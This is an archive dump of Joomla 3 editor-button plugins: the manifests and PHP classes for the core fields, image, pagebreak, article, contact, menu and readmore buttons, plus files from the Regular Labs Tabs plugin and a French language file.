	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                 editors-xtd/fields/fields.php                                                                       0000705                 00000003317 15242051520 0012235 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Fields button
 *
 * @since  3.7.0
 */
class PlgButtonFields extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since  3.7.0
	 */
	public function onDisplay($name)
	{
		// Check if com_fields is enabled
		if (!JComponentHelper::isEnabled('com_fields'))
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Guess the field context based on view.
		$jinput = JFactory::getApplication()->input;
		$context = $jinput->get('option') . '.' . $jinput->get('view');

		// Validate context.
		$context = implode('.', FieldsHelper::extract($context));
		if (!FieldsHelper::getFields($context))
		{
			return;
		}

		$link = 'index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;tmpl=component&amp;context='
			. $context . '&amp;editor=' . $name . '&amp;' . JSession::getFormToken() . '=1';

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_FIELDS_BUTTON_FIELD');
		$button->name    = 'puzzle';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
                                                                                                                                                                                                                                                                                                                 editors-xtd/image/image.xml                                                                         0000705                 00000001413 15242051520 0011671 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_image</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_IMAGE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="image">image.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                     editors-xtd/image/image.php                                                                         0000705                 00000004175 15242051520 0011670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Image buton
 *
 * @since  1.5
 */
class PlgButtonImage extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button.
	 *
	 * @param   string   $name    The name of the button to display.
	 * @param   string   $asset   The name of the asset being edited.
	 * @param   integer  $author  The id of the author owning the asset being edited.
	 *
	 * @return  JObject  The button options as JObject or false if not allowed
	 *
	 * @since   1.5
	 */
	public function onDisplay($name, $asset, $author)
	{
		$app       = JFactory::getApplication();
		$user      = JFactory::getUser();
		$extension = $app->input->get('option');

		// For categories we check the extension (ex: component.section)
		if ($extension === 'com_categories')
		{
			$parts     = explode('.', $app->input->get('extension', 'com_content'));
			$extension = $parts[0];
		}

		$asset = $asset !== '' ? $asset : $extension;

		if ($user->authorise('core.edit', $asset)
			|| $user->authorise('core.create', $asset)
			|| (count($user->getAuthorisedCategories($asset, 'core.create')) > 0)
			|| ($user->authorise('core.edit.own', $asset) && $author === $user->id)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit')) > 0)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit.own')) > 0 && $author === $user->id))
		{
			$link = 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;e_name=' . $name . '&amp;asset=' . $asset . '&amp;author=' . $author;

			$button = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_IMAGE_BUTTON_IMAGE');
			$button->name    = 'pictures';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}

		return false;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                   editors-xtd/image/index.html                                                                        0000705                 00000000037 15242051520 0012063 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors-xtd/pagebreak/pagebreak.xml                                                                 0000705                 00000001456 15242051520 0013376 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                  editors-xtd/pagebreak/pagebreak.php                                                                 0000705                 00000003632 15242051520 0013363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.pagebreak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Pagebreak button
 *
 * @since  1.5
 */
class PlgButtonPagebreak extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		JFactory::getDocument()->addScriptOptions('xtd-pagebreak', array('editor' => $name));
		$link = 'index.php?option=com_content&amp;view=article&amp;layout=pagebreak&amp;tmpl=component&amp;e_name=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK');
		$button->name    = 'copy';
		$button->options = "{handler: 'iframe', size: {x: 500, y: 300}}";

		return $button;
	}
}
                                                                                                      editors-xtd/pagebreak/index.html                                                                    0000705                 00000000037 15242051520 0012722 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors-xtd/article/article.php                                                                     0000705                 00000003517 15242051520 0012571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.article
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Article button
 *
 * @since  1.5
 */
class PlgButtonArticle extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		$link = 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_ARTICLE_BUTTON_ARTICLE');
		$button->name    = 'file-add';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
                                                                                                                                                                                 editors-xtd/article/article.xml                                                                     0000705                 00000001430 15242051520 0012572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_article</name>
	<author>Joomla! Project</author>
	<creationDate>October 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_ARTICLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="article">article.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_article.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_article.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                        editors-xtd/article/index.html                                                                      0000705                 00000000037 15242051520 0012424 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors-xtd/contact/contact.php                                                                     0000705                 00000002622 15242051520 0012605 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Contact button
 *
 * @since  3.7.0
 */
class PlgButtonContact extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.7.0
	 */
	public function onDisplay($name)
	{
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_contact')
			|| $user->authorise('core.edit', 'com_contact')
			|| $user->authorise('core.edit.own', 'com_contact'))
		{
			// The URL for the contacts list
			$link = 'index.php?option=com_contact&amp;view=contacts&amp;layout=modal&amp;tmpl=component&amp;'
				. JSession::getFormToken() . '=1&amp;editor=' . $name;

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_EDITORS-XTD_CONTACT_BUTTON_CONTACT');
			$button->name    = 'address';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
                                                                                                              editors-xtd/contact/contact.xml                                                                     0000705                 00000001444 15242051520 0012617 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_contact</name>
	<author>Joomla! Project</author>
	<creationDate>October 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                            editors-xtd/index.html                                                                              0000705                 00000000037 15242051520 0011001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors-xtd/menu/menu.php                                                                           0000705                 00000002530 15242051520 0011425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.menu
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor menu button
 *
 * @since  3.7.0
 */
class PlgButtonMenu extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @since  3.7.0
	 * @return array
	 */
	public function onDisplay($name)
	{
		/*
		 * Use the built-in element view to select the menu item.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_menus')
			|| $user->authorise('core.edit', 'com_menus'))
		{
		$link = 'index.php?option=com_menus&amp;view=items&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_MENU_BUTTON_MENU');
		$button->name    = 'share-alt';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
		}
	}
}
                                                                                                                                                                        editors-xtd/menu/menu.xml                                                                           0000705                 00000001421 15242051520 0011434 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_menu</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_MENU_XML_DESCRIPTION</description>
	<files>
		<filename plugin="menu">menu.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                               editors-xtd/readmore/index.html                                                                     0000705                 00000000037 15242051520 0012577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors-xtd/readmore/readmore.xml                                                                   0000705                 00000001434 15242051520 0013124 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_readmore</name>
	<author>Joomla! Project</author>
	<creationDate>March 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_READMORE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="readmore">readmore.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                    editors-xtd/readmore/readmore.php                                                                   0000705                 00000002507 15242051520 0013115 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.readmore
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Readmore button
 *
 * @since  1.5
 */
class PlgButtonReadmore extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Readmore button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		JHtml::_('script', 'com_content/admin-article-readmore.min.js', array('version' => 'auto', 'relative' => true));

		// Pass some data to javascript
		JFactory::getDocument()->addScriptOptions(
			'xtd-readmore',
			array(
				'editor' => $this->_subject->getContent($name),
				'exists' => JText::_('PLG_READMORE_ALREADY_EXISTS', true),
			)
		);

		$button = new JObject;
		$button->modal   = false;
		$button->class   = 'btn';
		$button->onclick = 'insertReadmore(\'' . $name . '\');return false;';
		$button->text    = JText::_('PLG_READMORE_BUTTON_READMORE');
		$button->name    = 'arrow-down';
		$button->link    = '#';

		return $button;
	}
}
                                                                                                                                                                                         editors-xtd/tabs/popup.php                                                                          0000705                 00000003240 15242051520 0011610 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\EditorButton\Tabs\Popup;

defined('_JEXEC') or die;

use JFactory;
use JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;

class Popup
	extends \RegularLabs\Library\EditorButtonPopup
{
	var $require_core_auth = false;

	public function loadScripts()
	{
		// Tag character start and end
		list($tag_start, $tag_end) = explode('.', $this->params->tag_characters);

		$script = "
			var tabs_tag_open = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open) . "';
			var tabs_tag_close = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close) . "';
			var tabs_tag_delimiter = '" . (($this->params->tag_delimiter == '=') ? '=' : ' ') . "';
			var tabs_tag_characters = ['" . $tag_start . "', '" . $tag_end . "'];
			var tabs_editorname = '" . JFactory::getApplication()->input->getString('name', 'text') . "';
			var tabs_content_placeholder = '" . JText::_('TAB_TEXT', true) . "';
			var tabs_error_empty_title = '" . JText::_('TAB_ERROR_EMPTY_TITLE', true) . "';
			var tabs_max_count = " . (int) $this->params->button_max_count . ";
		";
		RL_Document::scriptDeclaration($script);

		RL_Document::script('tabs/popup.min.js', '7.2.1');
	}

	public function loadStyles()
	{
		RL_Document::style('tabs/popup.min.css', '7.2.1');
	}
}

$class = new Popup('tabs');
$class->render();
                                                                                                                                                                                                                                                                                                                                                                editors-xtd/tabs/helper.php                                                                         0000705                 00000005714 15242051520 0011734 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;

/**
 ** Plugin that places the button
 */
class PlgButtonTabsHelper
	extends \RegularLabs\Library\EditorButtonHelper
{
	/**
	 * Display the button
	 *
	 * @param string $editor_name
	 *
	 * @return JObject|null A button object
	 */
	public function render($editor_name)
	{
		if ($this->params->button_use_simple_button)
		{
			return $this->renderSimpleButton($editor_name);
		}

		return $this->renderPopupButton($editor_name);
	}

	private function renderSimpleButton($editor_name)
	{
		$this->params->tag_open      = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open);
		$this->params->tag_close     = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close);
		$this->params->tag_delimiter = ($this->params->tag_delimiter == '=') ? '=' : ' ';

		$text = $this->getExampleText();
		$text = str_replace('\\\\n', '\\n', addslashes($text));
		$text = str_replace('{', '{\'+\'', $text);

		$js = "
			function insertTabs(editor) {
				selection = RegularLabsScripts.getEditorSelection(editor);
				selection = selection ? selection : '" . JText::_('TAB_TEXT', true) . "';

				text = '" . $text . "';
				text = text.replace('[:SELECTION:]', selection);

				jInsertEditorText(text, editor);
			}
		";
		RL_Document::scriptDeclaration($js);

		$button = new JObject;

		$button->modal   = false;
		$button->class   = 'btn';
		$button->link    = '#';
		$button->onclick = 'insertTabs(\'' . $editor_name . '\');return false;';
		$button->text    = $this->getButtonText();
		$button->name    = $this->getIcon();

		return $button;
	}

	private function getExampleText()
	{
		switch (true)
		{
			case ($this->params->button_use_custom_code && $this->params->button_custom_code):
				return $this->getCustomText();
			default:
				return $this->getDefaultText();
		}
	}

	private function getDefaultText()
	{
		return
			'{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 1}\n' .
			'<p>[:SELECTION:]</p>\n' .
			'<p>{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 2}</p>\n' .
			'<p>' . JText::_('TAB_TEXT') . '</p>\n' .
			'<p>{/' . $this->params->tag_close . '}</p>';
	}

	private function getCustomText()
	{
		$text = trim($this->params->button_custom_code);
		$text = str_replace(["\r", "\n"], ['', '</p>\n<p>'], trim($text)) . '</p>';
		$text = RL_RegEx::replace('^(.*?)</p>', '\1', $text);
		$text = str_replace(
			['{tab ', '{/tabs}'],
			['{' . $this->params->tag_open . $this->params->tag_delimiter, '{/' . $this->params->tag_close . '}'],
			trim($text)
		);

		return $text;
	}
}
                                                    editors-xtd/tabs/popup.tmpl.php                                                                     0000705                 00000007606 15242051520 0012575 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

$xmlfile = __DIR__ . '/fields.xml';
?>
<div class="reglab-overlay"></div>

<nav class="navbar navbar-fixed-top">
	<div class="navbar-inner">
		<div class="container-fluid">
			<div class="btn-toolbar" id="toolbar">
				<div class="btn-wrapper" id="toolbar-apply">
					<button onclick="if(RegularLabsTabsPopup.insertText()){window.parent.SqueezeBox.close();}" class="btn btn-small btn-success">
						<span class="icon-apply icon-white"></span> <?php echo JText::_('RL_INSERT') ?>
					</button>
				</div>
				<div class="btn-wrapper" id="toolbar-cancel">
					<button onclick="if(confirm('<?php echo JText::_('RL_ARE_YOU_SURE'); ?>')){window.parent.SqueezeBox.close();}" class="btn btn-small">
						<span class="icon-cancel "></span> <?php echo JText::_('JCANCEL') ?>
					</button>
				</div>

				<?php if (JFactory::getApplication()->isAdmin() && JFactory::getUser()->authorise('core.admin', 1)) : ?>
					<div class="btn-wrapper" id="toolbar-options">
						<button onclick="window.open('index.php?option=com_plugins&filter_folder=system&filter_search=<?php echo JText::_('TABS') ?>');" class="btn btn-small">
							<span class="icon-options"></span> <?php echo JText::_('JOPTIONS') ?>
						</button>
					</div>
				<?php endif; ?>
			</div>
		</div>
	</div>
</nav>

<div class="header has-navbar-fixed-top">
	<h1 class="page-title">
		<span class="icon-reglab icon-tabs"></span>
		<?php echo JText::_('INSERT_TABS'); ?>
	</h1>
</div>

<div class="container-fluid container-main">
	<form action="index.php" id="tabsForm" method="post">

		<div class="row-fluid">

			<div class="span8">
				<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', ['active' => 'tab_1']); ?>

				<?php for ($i = 1; $i <= $this->params->button_max_count; $i++) : ?>
					<?php
					$form = new JForm('tab', ['control' => 'tab_' . $i]);
					$form->loadFile($xmlfile, 1, '//config');

					$title = '<span class="tab_' . $i . '_open_icon icon-default hasTooltip"'
						. ' title="' . JText::_('TAB_DEFAULT') . '" style="display:none;"></span> '
						. JText::sprintf('TAB_TAB_NUMBER', $i);
					?>

					<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'tab_' . $i, $title); ?>

					<h1><?php echo $title; ?></h1>

					<div class="row-fluid">
						<div class="span8">
							<?php echo str_replace('xxx', $i, $form->renderFieldset('tab_notice')); ?>

							<div class="form-inline form-inline-header">
								<div class="control-group">
									<div class="control-label">
										<label for="tab_<?php echo $i; ?>_title"><?php echo JText::_('JGLOBAL_TITLE'); ?></label>
									</div>
									<div class="controls">
										<input type="text" name="tab_<?php echo $i; ?>[title]" id="tab_<?php echo $i; ?>_title" value=""
										       class="input-xxlarge input-large-text" size="40">
									</div>
								</div>
							</div>

							<div class="control-group">
								<div class="controls">
									<em><?php echo JText::_('TAB_CONTENT_DESC'); ?></em>

									<div id="tab_<?php echo $i; ?>_content" style="display:none;" class="well well-small"></div>
								</div>
							</div>
						</div>

						<div class="span4">
							<?php echo $form->renderFieldset('tab_params'); ?>
						</div>
					</div>

					<?php echo JHtml::_('bootstrap.endTab'); ?>
				<?php endfor; ?>

				<?php echo JHtml::_('bootstrap.endTabSet'); ?>
			</div>

			<div class="span4">
				<h3><?php echo JText::_('TAB_SET_SETTINGS'); ?></h3>

				<?php
				$form = new JForm('tab', ['control' => 'tab_1']);
				$form->loadFile($xmlfile, 1, '//config');
				echo $form->renderFieldset('params');
				?>
			</div>
		</div>
	</form>
</div>
                                                                                                                          editors-xtd/tabs/script.install.php                                                                 0000705                 00000001331 15242051520 0013415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgEditorsXtdTabsInstallerScript extends PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name           = 'TABS';
	public $alias          = 'tabs';
	public $extension_type = 'plugin';
	public $plugin_folder  = 'editors-xtd';

	public function uninstall($adapter)
	{
		$this->uninstallPlugin($this->extname, 'system');
	}
}
                                                                                                                                                                                                                                                                                                       editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.ini                                      0000705                 00000002755 15242051520 0020202 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"

TABS_DESC="Le système Tabs de Regular Labs vous permet de créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla tels les descriptions de catégorie, les articles, les modules personnalisés, et tout autre composant ayant une zone d'éditeur.<br>Pour en savoir plus, consultez le site officiel de l'extension par le lien ci-dessous."

